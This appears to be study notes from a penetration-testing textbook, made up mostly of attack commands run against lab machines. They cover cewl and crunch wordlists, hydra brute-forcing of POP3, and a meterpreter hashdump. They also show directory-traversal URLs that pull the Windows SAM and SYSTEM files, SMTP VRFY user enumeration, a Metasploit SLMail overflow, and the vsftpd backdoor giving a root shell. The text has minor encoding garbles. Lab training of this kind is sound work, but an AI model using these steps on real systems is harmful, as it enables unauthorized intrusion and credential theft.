Exploiting Password

- root@kali:~# **cewl --help**
- root@kali:~# **cewl -w bulbwords.txt -d 1 -m 5 www.bulbsecurity.com** x
- root@kali:~# **crunch 7 7 AB**
- root@kali:~# **hydra -L userlist.txt -P passwordfile.txt 192.168.20.10 pop3**
- **nc 192.168.20.10 pop3**

- Another way to crack passwords (without being discovered) is to get a copy of the password hashes and attempt to reverse them back to plaintext passwords.
- Given an input, you can calculate the output using the hash function, but given the output, there is no way to reliably determine the input.
- We can, however, guess a password, hash it with the one-way hash function, and compare the results to the known hash. If the two hashes are the same, we've found the correct password.

- meterpreter > **hashdump**
- Save the output of the hashdump to a file called *xphashes.txt*, which we will use in “John the Ripper” on page 210
- root@kali:~# **nc 192.168.20.10 3232**
- root@kali:~# **nc 192.168.20.10 3232 GET /../../../../../boot.ini HTTP/1.1**
- **IN BROWSER:** http://192.168.20.10:3232/index.html?../../../../../boot.ini

- root@kali:~# **nc 192.168.20.10 25**

220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here

- **VRFY georgia**

250 Georgia<georgia@>

- **VRFY john**

551 User not local

- *http://192.168.20.10:3232/index.html?../../../../../xampp/FileZillaFtp/FileZilla%20Server.xml*.
- so let's try downloading the SAM file from the following URL:
- http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/system32/config/sam

- When we try to use Zervit to download this file, we get a “file not found” error. It looks like our Zervit server doesn’t have access to this file.
- Luckily, Windows XP backs up both the SAM and SYSTEM files to the *C:\Windows\repair directory*, and if we try to pull down the files from there, Zervit is able to serve them.
- These URLs should do the trick:
  - http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/system
  - http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/sam

Exploiting a Buffer Overflow in Third-Party Software

- msf > **use windows/pop3/seattlelab_pass**
- msf exploit(seattlelab_pass) > **show payloads**

Exploiting Third-Party Web Applications

- tikiwiki

Exploiting a Compromised Service

- root@kali:~# **ftp 192.168.20.11**
- Name (192.168.20.11:root): georgia:)
- System should hang…..
- Let's use Netcat to try connecting toÂ€port 6200, where the root shell should spawn if the backdoor is present.
- root@kali:~# **nc 192.168.20.11 6200**
- # **whoami**

root